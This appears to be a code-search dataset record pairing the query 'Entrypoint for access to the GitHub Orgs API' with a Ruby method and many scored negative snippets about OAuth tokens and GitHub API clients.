query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/access-tokens/{token}'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number,\r\n 'token' => token\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.get query_url, headers: headers\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def access_token\n # Fetch from cache. We can expect this to be `nil` if unset or expired.\n #\n access_token = read_cache\n\n return access_token if access_token\n\n fetch_new_access_token\n end", "def github_client_id\n Rails.application.secrets.github_client_id\n end", "def authenticate\n Access.new(\n 'access_token' => access_token,\n 'token_type' => token_type,\n 'expires_in' => 1 << (1.size * 8 - 2) - 1 # Max int value\n )\n end", "def get_token(owner,client, attributes = {})\n return nil unless owner and client\n @instance = owner.oauth2_authorization(client,owner) ||\n Oauth2Authorization.new do |authorization|\n authorization.oauth2_resource_owner_id = owner.id\n authorization.oauth2_client_id = client.id\n end\n case attributes[:response_type]\n when 'code'\n @instance.code ||= create_code(client)\n when 'token'\n @instance.access_token ||= create_access_token\n @instance.refresh_token ||= create_refresh_token(client)\n end\n\n if @instance.expires_at.nil? \n @instance.expires_at = attributes[:duration].present? ? Time.now + attributes[:duration].to_i : nil \n elsif attributes[:invalidate]\n @instance.expires_at = Time.now\n end\n\n if @instance.scope.nil?\n @instance.scope = attributes[:scope].present? ? attributes[:scope] : nil \n elsif attributes[:scope].present?\n @instance.scope += \",\" + attributes[:scope] unless @instance.scope.include? attributes[:scope]\n end\n\n @instance.save\n return @instance\n\n rescue Object => error\n raise error\n end", "def find_oauth_access_token\n end", "def get_access_token\n auth = storage['authentication']\n return auth['access_token'] if auth && auth['expires'] > Time.now.to_i\n\n auth = authenticate_client\n storage['authentication'] = auth\n auth['access_token']\n end", "def github_client_secret\n Rails.application.secrets.github_client_secret\n end", "def get_access_token_from_API()\n # eventbrite embeds access code in the link it \"returns\"\n \taccess_code = extract_access_code_from_link()\n\n # once user allows access, exchange for access token\n access_token_JSON = exchange_code_for_token( access_code ) \n access_token = parse_for_access_token( access_token_JSON )\n return access_token\n end", "def get_access_token(options={})\n response=consumer.token_request(consumer.http_method,(consumer.access_token_url? ? consumer.access_token_url : consumer.access_token_path),self,options)\n OAuth::AccessToken.new(consumer,response[:oauth_token],response[:oauth_token_secret])\n end", "def authorize(auth = {})\n @authentication ||= TaskMapper::Authenticator.new(auth)\n auth = @authentication\n login = auth.login || auth.username\n if auth.login.blank? and auth.username.blank?\n raise TaskMapper::Exception.new('Please provide at least a username')\n elsif auth.token\n TaskMapper::Provider::Github.login = login\n TaskMapper::Provider::Github.user_token = auth.token\n TaskMapper::Provider::Github.api = Octokit::Client.new(:login => login, :token => auth.token)\n elsif auth.password\n TaskMapper::Provider::Github.login = login\n TaskMapper::Provider::Github.user_token = auth.token\n TaskMapper::Provider::Github.api = Octokit::Client.new(:login => login, :password => auth.password)\n else \n TaskMapper::Provider::Github.login = login\n TaskMapper::Provider::Github.user_token = nil\n TaskMapper::Provider::Github.api = Octokit::Client.new(:login => login)\n end\n end", "def get_access_token_from_token(token, params={})\n params = params.inject({}) { |options, (key, value)| options[key.to_s] = value; options }\n @access_token ||= ::OAuth2::AccessToken.new(client, token, params)\n end", "def repo (slug, githubToken)\n\n puts \"Retrieving #{slug} from GitHub...\"\n\n urlString = 'https://api.github.com/repos/' + slug + '?access_token=' + githubToken\n\n uri = URI(urlString)\n\n client = Net::HTTP.new(uri.host, uri.port)\n client.use_ssl = (uri.scheme == 'https')\n\n request = Net::HTTP::Get.new(uri)\n request['Accept'] = 'application/vnd.github.v3+json'\n\n result = client.request (request)\n\n case result\n when Net::HTTPSuccess, Net::HTTPRedirection\n repoData = JSON.parse(result.body)\n return repoData\n else\n\treturn nil\n end\nend", "def get_access_token(request_token = @request_token)\n # response = @consumer.token_request(@consumer.http_method,\n # (@consumer.access_token_url? ? @consumer.access_token_url : @consumer.access_token_path),\n # request_token,\n # {},\n # headers)\n\n # @access_token = ::OAuth::AccessToken.new(@consumer, response[:oauth_token], response[:oauth_token_secret])\n @access_token = request_token.get_access_token\n end", "def get_access(params: nil, host: nil)\n form = { grant_type: \"authorization\",\n code: params[:code],\n redirect_uri: url_helpers.authorisation_identities_url(host: host)\n }\n Faraday.new do |c|\n c.use Faraday::Request::BasicAuthentication\n end\n conn = Faraday.new(url: Setting.oauth[\"id_token_service_url\"])\n conn.params = form\n conn.basic_auth Setting.oauth[\"client_id\"], Setting.oauth[\"client_secret\"]\n resp = conn.post\n raise if resp.status >= 300\n @access_token = JSON.parse(resp.body)\n validate_id_token(id_token: @access_token[\"id_token\"])\n @user_proxy = UserProxy.set_up_user(access_token: @access_token, id_token: @id_token)\n if @user_proxy.has_a_kiwi?\n @user_proxy.kiwi.check_party\n publish(:valid_authorisation, @user_proxy)\n else\n publish(:create_a_kiwi, @user_proxy)\n end\n end", "def get_access_token\n\t\treturn @credentials.get_access_token\n\tend", "def github\n process_oauth_callback\n end", "def repo(user_name, repo_name)\n Github::Repo.new @access_token, user_name, repo_name\n end", "def access_token\n # Synchronization is needed, otherwise race condition may ensue:\n # Let's assume token has expired, and two threads ask for a new token.\n # Both proceed to fetch the token from remote server, both return,\n # but the first token is no longer valid.\n MUTEX.synchronize do\n token = Nordea::Siirto.redis.get(KEY)\n return token if token\n\n Nordea::Siirto.log('Requesting new access token...')\n payload = response.body\n\n token = payload['access_token']\n expires_in = payload['expires_in'] - EXPIRATION_BUFFER\n Nordea::Siirto.redis.set(KEY, token)\n Nordea::Siirto.redis.expire(KEY, expires_in)\n\n token\n end\n end", "def fetch_from_github\n repo, branch, path = Post.parse_github_url self.github\n Environment.github.contents repo, ref: branch, path: path\n end", "def init\n init_oauth_access_token\n end", "def create_token\n client_requested_expires_in = server.jwt['exp'].to_i - server.jwt['iat'].to_i\n server_expires_in = Authorization::Token.access_token_expires_in(configuration, client)\n if server_expires_in\n expires_in = (client_requested_expires_in > 0 && client_requested_expires_in <= server_expires_in) ? client_requested_expires_in : server_expires_in\n else\n expires_in = nil\n end\n @access_token = AccessToken.find_or_create_for(application: client.application, resource_owner: resource_owner, scopes: scopes, expires_in: expires_in, use_refresh_token: configuration.refresh_token_enabled?)\n end", "def access_token\n @attributes[:access_token] || client.token\n end", "def access_token\n @attributes[:access_token] || client.token\n end", "def access_token\n @attributes[:access_token] || client.token\n end", "def bearer_token\n # Put the url together\n url = \"#{API_HOST}#{TOKEN_PATH}\"\n\n raise \"Please set your CLIENT_ID\" if CLIENT_ID.nil?\n raise \"Please set your CLIENT_SECRET\" if CLIENT_SECRET.nil?\n\n # Build our params hash\n params = {\n client_id: CLIENT_ID,\n client_secret: CLIENT_SECRET,\n grant_type: GRANT_TYPE\n }\n\n response = HTTP.post(url, params: params)\n parsed = response.parse\n\n \"#{parsed['token_type']} #{parsed['access_token']}\"\nend", "def fetch\n Net::HTTP.start(url.host, url.port, use_ssl: true) do |http|\n req = Net::HTTP::Post.new(url)\n req[\"Accept\"] = \"application/json\"\n data = {\n \"client_id\" => client_id,\n \"client_secret\" => client_secret,\n \"grant_type\" => \"client_credentials\",\n \"scope\" => \"/read-public\"\n }\n req.set_form_data(data)\n body = http.request(req).body\n JSON.parse(body)[\"access_token\"]\n end\n end", "def bearer_token\n # Put the url together\n url = \"#{API_HOST}#{TOKEN_PATH}\"\n\n raise \"Please set your CLIENT_ID\" if CLIENT_ID.nil?\n raise \"Please set your CLIENT_SECRET\" if CLIENT_SECRET.nil?\n\n # Build our params hash\n params = {\n client_id: CLIENT_ID,\n client_secret: CLIENT_SECRET,\n grant_type: GRANT_TYPE\n }\n\n response = HTTP.post(url, params: params)\n parsed = response.parse\n\n \"#{parsed['token_type']} #{parsed['access_token']}\"\nend", "def provider\n :github\n end", "def github\n Log.fatal('You did not configure GitHub yet.') unless @github\n @github\n end", "def get_access_token()\n url = URI.parse(TOKEN_ENDPOINT)\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n req = Net::HTTP::Post.new(url.path)\n req.basic_auth(@clientId, @clientSecret)\n req.set_form_data({'grant_type' => 'client_credentials'})\n res = http.request(req)\n JSON.parse(res.body)['access_token']\n end", "def client_for(repo_name = nil)\n repo_name ||= @repo_data.full_name\n # Get the token\n token = GithubDash::DataDepository.get_token_for_repo(repo_name)\n # Use the most recent token if this repo doesn't have an associated token\n token = GithubDash::DataDepository.get_token if token.nil?\n # Use default client if the token is nil\n Octokit if token.nil?\n # Return new client\n client = Octokit::Client.new(:access_token => token)\n end" ]
[ "0.7068926", "0.69696385", "0.69013715", "0.6895382", "0.689267", "0.6880736", "0.6839184", "0.67827535", "0.6717281", "0.66003996", "0.65335095", "0.649354", "0.6418895", "0.64068305", "0.6366165", "0.63332725", "0.62964094", "0.62964094", "0.62658346", "0.6263605", "0.622283", "0.6159899", "0.614675", "0.60852766", "0.60174453", "0.6012906", "0.60085005", "0.5978669", "0.5966053", "0.5941383", "0.59403557", "0.5930013", "0.5908305", "0.5908305", "0.5903856", "0.59032416", "0.58897555", "0.581927", "0.5808448", "0.5807403", "0.5784548", "0.576297", "0.5749596", "0.57383215", "0.5699173", "0.56734014", "0.5649851", "0.56487966", "0.56218195", "0.56174356", "0.56131554", "0.56114143", "0.5600984", "0.5599107", "0.5592115", "0.55655164", "0.55610967", "0.55599135", "0.5549554", "0.55429566", "0.5524433", "0.5494131", "0.5472238", "0.54649216", "0.5463371", "0.5451281", "0.54367065", "0.5432806", "0.54270476", "0.54220104", "0.5417874", "0.54140174", "0.5409967", "0.5408339", "0.5391595", "0.5384467", "0.5381503", "0.53626055", "0.5359199", "0.5355985", "0.53549045", "0.5349901", "0.5333651", "0.53229076", "0.53175205", "0.5313481", "0.53129566", "0.53108907", "0.53108", "0.52961546", "0.52957153", "0.5292959", "0.5292959", "0.5292959", "0.5289645", "0.52802444", "0.5277456", "0.52753145", "0.5263631", "0.5245427", "0.5241283" ]
0.0
-1
Entrypoint for access to the GitHub Orgs API Returns an instance of GitHubV3API::OrgsAPI that will use the access_token associated with this instance.
def orgs OrgsAPI.new(self) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def GetOrgs params = {}\n\n params = params.merge(path: 'organizations.json')\n APICall(params)\n\n end", "def orgs(org=nil, params={})\n params = org if org.is_a?Hash\n prefix = org.is_a?(String) ? \"./orgs/#{org}\" : \"#{path_prefix}/orgs\"\n Ghee::API::Orgs::Proxy.new(connection, prefix, params)\n end", "def client\n @client ||= Github::ApiProxy.new(@options[:access_token])\n end", "def github_client\n Octokit::Client.new(\n access_token: ENV.try(:[], \"GITHUB_ACCESS_TOKEN\"),\n auto_paginate: true\n )\n end", "def github_client\n @github_client ||= begin\n if provider = self.omni_auth_providers.where(name: \"github\").first\n Octokit::Client.new(access_token: provider.access_token)\n end\n end\n end", "def octokit\n @octokit ||= octokit_client(github_oauth_token)\n end", "def index\n @orgs ||= Github::Org.orgs(\n current_user_github_access_token,\n current_github_username\n )\n end", "def github_api_setup\n @github_api ||= Github.new(oauth_token: self.token)\n end", "def github_api(user = current_user)\n @github_api ||= GithubApi.new(github_token, user)\n end", "def initialize_api\n @github_api = ::Github::Repos.new do |github_config|\n github_config.endpoint = @endpoint if @endpoint\n github_config.site = @site if @site\n github_config.basic_auth = @auth\n github_config.repo = @repo\n github_config.org = @org\n github_config.adapter = :net_http\n github_config.ssl = {:verify => false}\n end\n end", "def orgs(params = {})\n params.merge!(key: 'orgs')\n objects_from_response(Code42::Org, :get, 'org', params)\n end", "def client\n Octokit::Client.new(\n access_token: ENV['GITHUB_ACCESS_TOKEN']\n )\n end", "def client\n Octokit::Client.new(\n access_token: ENV['GITHUB_ACCESS_TOKEN']\n )\n end", "def orgs\n @orgs ||= begin\n client.organizations.map(&:login)\n rescue Octokit::Unauthorized, Faraday::ConnectionFailed\n []\n end\n end", "def organization\n @organization ||= Github::Organization.new(client, @options[:owner])\n end", "def github\n @github ||= begin\n if username.present? && github_access_token.present?\n Octokit::Client.new(login: username, oauth_token: github_access_token, auto_traversal: true)\n else\n nil\n end\n end\n end", "def github_repo(access_token, api_endpoint, repo)\n client = Octokit::EnterpriseAdminClient.new :access_token => access_token :api_endpoint => api_endpoint\n client.repo repo \n end", "def octokit\n @octokit ||= Octokit::Client.new(access_token: settings.github_admin_token, auto_paginate: true)\n end", "def orgs\n @orgs ||= ENV[\"GITHUB_ORGS\"].split(/, ?/).map { |o| Organization.new(o) }\n end", "def configure_github_access\n if Settings.instance.oauth_token\n @github = Octokit::Client.new(\n :login => Settings.instance.username,\n :oauth_token => Settings.instance.oauth_token\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end", "def oauth(options = {})\n @oauth ||= ApiFactory.new 'Authorizations', options\n end", "def index\n\n\n# # Exchange your oauth_token and oauth_token_secret for an AccessToken instance.\n# def prepare_access_token(oauth_token, oauth_token_secret)\n# consumer = OAuth::Consumer.new(\"e24305f14f7f9a67c465\", \"604015f905f6207ec29f3661b952397663d58347\",\n# { :site => \"https://api.github.com/\",\n# :scheme => :header\n# })\n# # now create the access token object from passed values\n# token_hash = { :oauth_token => oauth_token,\n# :oauth_token_secret => oauth_token_secret\n# }\n# access_token = OAuth::AccessToken.from_hash(consumer, token_hash )\n# return access_token\n# end\n\n# # Exchange our oauth_token and oauth_token secret for the AccessToken instance.\n# access_token = prepare_access_token(\"abcdefg\", \"hijklmnop\")\n# # use the access token as an agent to get the home timeline\n# @response = access_token.request(:get, \"https://api.github.com/repos/rails/rails/collaborators\")\n\n\n# curl https://api.github.com/repos/rails/rails/collaborators?client_id=e24305f14f7f9a67c465&client_secret=604015f905f6207ec29f3661b952397663d58347\n\n\n # url = \"https://github.com/login/oauth/authorize\"\n\n # @token = JSON.parse(open(url).read)\n\n @repo = Repo.new\n end", "def github\n\n @github = Github.new({ client_id: CONFIG[:GITHUB_CLIENT_ID], client_secret: CONFIG[:GITHUB_CLIENT_SECRET] })\n end", "def github_client\n Octokit::Client.new access_token: self.setting.user_with_token.client_token\n end", "def repos\n ReposAPI.new(self)\n end", "def get_organizations\n begin\n github_api_setup.organizations.list\n rescue Exception => e\n logger.error \"Github #get_organizations error #{e}\"\n end\n end", "def get_github_api(project, endpoint)\n token = \"9874304d5d35c105f590df83c48112ff43518fba\"\n uri = URI.parse(\"https://api.github.com/repos/NuCivic/\" + project + \"/\" + endpoint + '?access_token=' + token)\n request = Net::HTTP::Get.new(uri)\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n JSON.parse(response.body)\n end", "def client\n Octokit::Client.new(access_token: decrypt(@user.github_token))\n end", "def configure_github_access\n settings = ::GitReview::Settings.instance\n if settings.oauth_token && settings.username\n @github = Octokit::Client.new(\n :login => settings.username,\n :access_token => settings.oauth_token,\n :auto_traversal => true\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end", "def github_client\n Octokit::Client.new(:login => username, :oauth_token => token)\n end", "def github_client\n p = Project.find(params[:id])\n if p.github_token\n github = Github.new :oauth_token => p.github_token\n else\n github = Github.new :client_id => GITHUB_CLIENT_ID , :client_secret => GITHUB_CLIENT_SECRET\n end\n end", "def create_organizations_api\n InfluxDB2::API::OrganizationsApi.new(@api_client)\n end", "def api\n @api ||= Octokit::Client.new(:login => login, :oauth_token => token)\n end", "def query_organizations(options = nil)\n require_relative 'telerivet/organization'\n self.cursor(Organization, get_base_api_path() + \"/organizations\", options)\n end", "def orgs(enterprise = 'default')\n @api.orgs enterprise\n end", "def github_client(opts={})\n return unless has_github?\n\n @github_client ||= Github.new oauth_token: github_identity.token\n end", "def orgs\n client.organizations\n end", "def octokit\n @octokit ||= Octokit::Client.new(access_token: token)\n end", "def configure(options = {})\n api = Github.new\n config = GithubCLI.config\n\n ssl = config.fetch('core.ssl')\n adapter = config.fetch('core.adapter')\n token = config.fetch('user.token')\n site = config.fetch('core.site')\n endpoint = config.fetch('core.endpoint')\n\n api.basic_auth = set_basic_auth(config, options)\n api.ssl = ssl if ssl && ssl != ''\n api.adapter = adapter.to_sym if adapter && adapter != ''\n api.oauth_token = token if token && token != ''\n api.site = site if site && site != ''\n api.endpoint = endpoint if endpoint && endpoint != ''\n api.auto_pagination = options['auto_pagination'] || config.fetch('core.auto_pagination')\n\n if (test_env = ENV['TEST_HOST'])\n api.endpoint = 'http://' + test_env\n end\n api\n end", "def config_github(api_key)\n @github = GitHub.new(api_key)\n end", "def request_token\n json = cli.perform_quietly %Q(curl -u '#{username}:#{password}' -d '{\"scopes\": [\"repo\"], \"notes\": \"Octopolo\"}' https://api.github.com/authorizations)\n self.auth_response = JSON.parse json\n end", "def call_gh_api(url)\n auth = \"Bearer #{session[:access_token]}\"\n HTTParty.get(url, headers: { 'Authorization' => auth })\n end", "def github_repo(access_token, repo)\n client = Octokit::Client.new :access_token => access_token\n client.repo repo\n end", "def github\n process_oauth_callback\n end", "def get_authorization_url\n client = Octokit::Client.new\n client.authorize_url(CLIENT_ID, scope: 'public_repo read:org')\n end", "def search_orgs(query, params = {})\n params.merge!(q: query)\n orgs(params)\n end", "def create_client\n token = File.open(GITHUB_TOKEN_FILE).read\n Octokit::Client.new(access_token: token)\nend", "def access_token\n return @access_token if @access_token\n creds = YAML.load(File.read(File.expand_path('~/.github.yml')))\n @access_token = creds[\"token\"]\nend", "def index\n if (params[:search]) && (params[:search].empty? == false) \n urlformated = URI.encode(params[:search])\n uri = URI.parse(\"https://api.github.com/legacy/repos/search/#{urlformated}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = (uri.scheme == 'https')\n \n \n request = Net::HTTP::Get.new(uri.request_uri)\n \n res = http.request(request)\n response = JSON.parse(res.body)\n \n\n repository = response['repositories'].map {|rd|\\\n GithubRepository.new( rd['owner'], rd['name'],\\\n rd['description'], rd['language'], rd['url'])} \n \n @github_repositories = repository\n else\n @github_repositories = nil\n end \n end", "def api_call(path)\n url = \"https://api.github.com#{path}\"\n url << \"?access_token=#{ENV['GITHUB_API_TOKEN']}\" if ENV['GITHUB_API_TOKEN']\n resp = get(url)\n if resp.code.to_i != 200\n nil\n else\n data = resp.body\n JSON.parse(data)\n end\nend", "def client_for(repo_name = nil)\n repo_name ||= @repo_data.full_name\n # Get the token\n token = GithubDash::DataDepository.get_token_for_repo(repo_name)\n # Use the most recent token if this repo doesn't have an associated token\n token = GithubDash::DataDepository.get_token if token.nil?\n # Use default client if the token is nil\n Octokit if token.nil?\n # Return new client\n client = Octokit::Client.new(:access_token => token)\n end", "def get_with_app(url)\n github_api_conn.get do |request|\n request.url url\n\n request.headers['Authorization'] = \"Token #{access_token}\"\n request.headers['Accept'] = accept_header\n end\n end", "def get(org_login)\n org_data = @connection.get(\"/orgs/#{org_login}\")\n GitHubApi::Org.new_with_all_data(self, org_data)\n end", "def initialize(user = nil, api_token = nil, repo_name = \"cookie_monster\") \n if user.nil?\n puts \"No user provided, getting from git config\"\n user = `git config --get github.user`.chomp\n end\n\n if api_token.nil?\n puts \"No API token provided, getting from git config\"\n api_token = `git config --get github.token`.chomp\n end\n\n\n @user = user.chomp # chomp in case user passes in bad data\n @api_token = api_token.chomp # chomp in case user passes in bad data\n @repo_name = repo_name\n\n # Authenticated client\n #@client = Octopussy::Client.new({:login => @user, :token => @api_token})\n\n # Location of local git repository. Necessary for pushing to Github.\n # Put it in .cloud_path so it doesn't conflict with anything\n @git_dir_path = File.expand_path(\"~/.cloud_path/\" + @repo_name)\n\n create_repo\n create_git_dir\n \n # For whatever reason, Repository.find raises Octopi::NotFound when\n # we've just created the repository in this run of the script.\n # Possibly a caching error.\n begin\n repo = Repository.find(:user => @user, :repo => @repo_name)\n rescue Octopi::NotFound\n puts \"Repository not found. Probably just created repository, please\"\n puts \"run this script again.\"\n exit 0\n end\n end", "def find_all_organizations\n get_url(\"https://api.github.com/users/#{current_user.username}/orgs\")\n end", "def get_repo\n raise \"can't get a repo without the repo's full_name (eg. 'fubar/ofxTrickyTrick')\" unless full_name\n\n begin\n response = GithubApi::repository(full_name: full_name)\n rescue => ex\n Rails.logger.debug \"Failed to get repository: #{ex.message} (#{ex.class})\"\n return\n end\n\n unless response.success?\n Rails.logger.debug response.inspect.to_s.red\n return\n\tend\n\n @repo_json = response.parsed_response\n end", "def projects\n @projects ||= begin\n http = Net::HTTP.new(API_HOST, API_PORT)\n http.use_ssl = true\n http.ca_file = (Twigg.root + 'files' + 'github.pem').to_s\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n uri = ORG_REPOS_ENDPOINT % Config.github.organization\n headers = { 'Authorization' => \"token #{Config.github.token}\" }\n\n [].tap do |names|\n begin # loop: page through project list\n request = Net::HTTP::Get.new(uri, headers)\n response = http.request(request)\n raise \"Bad response #{response.inspect}\" unless response.is_a?(Net::HTTPOK)\n names.concat JSON[response.body].map { |repo| repo['name'] }\n uri = parse_link(response['Link'])\n end until uri.nil?\n end\n end\n end", "def repo(user_name, repo_name)\n Github::Repo.new @access_token, user_name, repo_name\n end", "def client\n client_object_exists = (defined?(@client) != nil)\n if client_object_exists\n return @client\n else\n # When coming through a commit hook endpoint, the github_id won't be saved\n # in the session, so we need to be able to grab it from a class instance variable.\n # @todo: actually there's a better way to do this. See it mentioned in my\n # other @todo in this file.\n if session[:github_id] != nil\n github_id = session[:github_id]\n elsif @github_id != nil\n github_id = @github_id\n else\n authenticate!\n end\n\n user = User.find_by(github_id: github_id)\n if Octokit.validate_credentials({ :access_token => user.token })\n # Auto paginate to prevent repo-list truncation on the books/new page. This may\n # hurt performance, so keep an eye on it.\n @client = Octokit::Client.new :access_token => user.token, :auto_paginate => true\n else\n authenticate!\n end\n end\nend", "def setupClient!()\n @octo_client = Octokit::Client.new(\n :access_token => apiKey(),\n :api_endpoint => githubAPIEndpoint(),\n :web_endpoint => githubWebEndpoint()\n )\n @octo_client.auto_paginate = true\n end", "def init\n init_oauth_access_token\n end", "def org\n @org_resource ||= Org.new(@client)\n end", "def repo\n @repo ||= OctocatHerder::Repository.new(@raw['repo'], connection)\n end", "def set_api_client\n Github.api_client = self\n end", "def octokit_client\n # Check if we already have the octokit client stored in an instance variable else fetch it using\n # the user's access token to authenticate.\n @client ||= Octokit::Client.new :access_token => token\n @client\n end", "def org\n client.org(org_id)\n end", "def org\n client.org(org_id)\n end", "def create\n\t\t# we're sent here by the GET '/auth' => 'sessions#create' route\n\t\t# response = Faraday.post(\"https://github.com/login/oauth/access_token\") do |request|\n\t\t# \trequest.headers['Accept'] = 'application/json'\n\t\t# \trequest.body = JSON.generate({\n\t\t# \t\t\t'client_id': ENV[\"GITHUB_CLIENT_ID\"],\n\t\t# \t\t\t'client_secret': ENV[\"GITHUB_CLIENT_SECRET\"],\n\t\t# \t\t\t'code': params[:code]\n\t\t# \t\t})\n\t\t# end\n\t\t# could also be written \n\t\tresponse = Faraday.post \"https://github.com/login/oauth/access_token\", {client_id: ENV[\"GITHUB_CLIENT_ID\"], client_secret: ENV[\"GITHUB_CLIENT_SECRET\"],code: params[:code]}, {'Accept' => 'application/json'}\n\n\t\t# this is sent back by github under the following form by default\n\t\t# access_token=e72e16c7e42f292c6912e7710c838347ae178b4a&scope=user%2Cgist&token_type=bearer\n\t\t# and since we asked for headers \"Accept: application/json\"\n\t\t# {\"access_token\":\"e72e16c7e42f292c6912e7710c838347ae178b4a\", \"scope\":\"repo,gist\", \"token_type\":\"bearer\"}\n\t\taccess_hash = JSON.parse(response.body)\n\t\tsession[:token] = access_hash[\"access_token\"]\n\n\t\t##### Now we have the token and we can use it to access the API\n\n\t\t# we make a call to get the username\n\t\tuser_response = Faraday.get \"https://api.github.com/user\", {}, {'Authorization' => \"token #{session[:token]}\", 'Accept' => 'application/json'}\n\t\t# parse the response body\n\t\tuser_json = JSON.parse(user_response.body)\n\t\t# set the username into the session\n\t\tsession[:username] = user_json[\"login\"]\n\t\tbinding.pry\n\t\t# next step happens in the root path (repositories#index)\n\t\tredirect_to root_path\n\tend", "def get_repos\n # using oauth token to increase limit of request to github api to 5000\n client = Octokit::Client.new :access_token => self.github_token\n (client.repositories self.github_name, {:type => 'all'}).map do |repo|\n repo.full_name\n end\n end", "def githubAPIEndpoint()\n domain = 'api.github.com' unless ENV['HOMEBREW_PIPELINE_GITHUB_DOMAIN']\n return \"https://#{domain}/\"\n end", "def resolve\n if (login = env['GITHUB_LOGIN']) && (password = env['GITHUB_PASSWORD'])\n { login: login, password: password }\n elsif access_token = env['GITHUB_ACCESS_TOKEN']\n { access_token: access_token }\n elsif (client_id = env['GITHUB_CLIENT_ID']) && (client_secret = env['GITHUB_CLIENT_SECRET'])\n { client_id: client_id, client_secret: client_secret }\n elsif netrc_file = env['NETRC_FILE']\n raise MissingCredentials.new(netrc_file) unless Netrc.read(netrc_file)['api.github.com']\n { netrc: true, netrc_file: netrc_file }\n elsif Netrc.read['api.github.com']\n { netrc: true }\n else\n raise MissingCredentials\n end\n end", "def list\n @connection.get('/user/orgs').map do |org_data|\n GitHubApi::Org.new(self, org_data)\n end\n end", "def orgs\n return @orgs if defined?(@orgs)\n\n @orgs = []\n orgs_from_annotations.each { |org| @orgs << org unless org_found(@orgs, org) }\n orgs_from_guidance_groups.each { |org| @orgs << org unless org_found(@orgs, org) }\n @orgs\n end", "def oauth_client\n if @oauth_client\n @oauth_client\n else\n conn ||= Faraday::Connection.new \\\n :url => \"https://api.gowalla.com\",\n :headers => default_headers\n\n oauth= OAuth2::Client.new(api_key, api_secret, oauth_options = {\n :site => 'https://api.gowalla.com',\n :authorize_url => 'https://gowalla.com/api/oauth/new',\n :access_token_url => 'https://gowalla.com/api/oauth/token'\n })\n oauth.connection = conn\n oauth\n end\n end", "def new(options = {}, &block)\n #@api_client = Github::Client.new(options, &block)\n end", "def api_endpoint(base_url = nil)\n base_url ||= base_github_api_url_for_remote\n if /github.com/ !~ base_url\n \"#{base_url}/api/v3\"\n else\n Octokit::Default::API_ENDPOINT\n end\n end", "def digitalocean_client\n @digitalocean_client ||= begin\n if provider = self.omni_auth_providers.where(name: \"digitalocean\").first\n Barge::Client.new(access_token: provider.access_token)\n end\n end\n end", "def client\n Octokit::Client.new(:access_token => \"#{token}\")\n end", "def get_access_token! name = nil\n oauth_instance(name).get_access_token!(oauth_request_env)\n end", "def repo (slug, githubToken)\n\n puts \"Retrieving #{slug} from GitHub...\"\n\n urlString = 'https://api.github.com/repos/' + slug + '?access_token=' + githubToken\n\n uri = URI(urlString)\n\n client = Net::HTTP.new(uri.host, uri.port)\n client.use_ssl = (uri.scheme == 'https')\n\n request = Net::HTTP::Get.new(uri)\n request['Accept'] = 'application/vnd.github.v3+json'\n\n result = client.request (request)\n\n case result\n when Net::HTTPSuccess, Net::HTTPRedirection\n repoData = JSON.parse(result.body)\n return repoData\n else\n\treturn nil\n end\nend", "def fetch_json\n # Get raw JSON of GitHub API\n api_page = open(@api_url, http_basic_authentication: @login)\n # Parse the JSON into a hash\n @api_hash = JSON.parse(api_page.read)\n end", "def client\n @client ||= ::Flickr.new({:key => @appid, :secret => @secret, :token => @token.token})\n end", "def project_from_github(input)\n Github::ProjectMapper\n .new(Api.config.GITHUB_TOKEN)\n .find(input[:owner_name], input[:project_name])\n rescue StandardError\n raise GH_NOT_FOUND_MSG\n end", "def get(*args)\n arguments(args, required: [:org_name])\n\n get_request(\"/orgs/#{arguments.org_name}\", arguments.params)\n end", "def access_token\n Rails.cache.fetch(\"googl_access_token\", expires_in: 50.minutes) do \n request = { query: { client_id: ENV['GOOGL_CLIENT_ID'],\n client_secret: ENV['GOOGL_CLIENT_SECRET'],\n refresh_token: ENV['GOOGL_REFRESH_TOKEN'],\n grant_type: \"refresh_token\"} }\n\n result = self.class.post(\"/oauth2/v3/token\", request)\n\n result.parsed_response[\"access_token\"]\n end\n end", "def repo() \n\t\treturn @repo if @repo != nil\n\t\t@repo = Grit::Repo.new(self[:path])\n\tend", "def project_from_github(input)\n Github::ProjectMapper\n .new(App.config.GITHUB_TOKEN)\n .find(input[:owner_name], input[:project_name])\n rescue StandardError\n raise GH_NOT_FOUND_MSG\n end", "def find_organizations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: OrganizationsApi#find_organizations ...\"\n end\n \n # resource path\n path = \"/organizations\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'attribute'] = opts[:'attribute'] if opts[:'attribute']\n query_params[:'value'] = opts[:'value'] if opts[:'value']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n 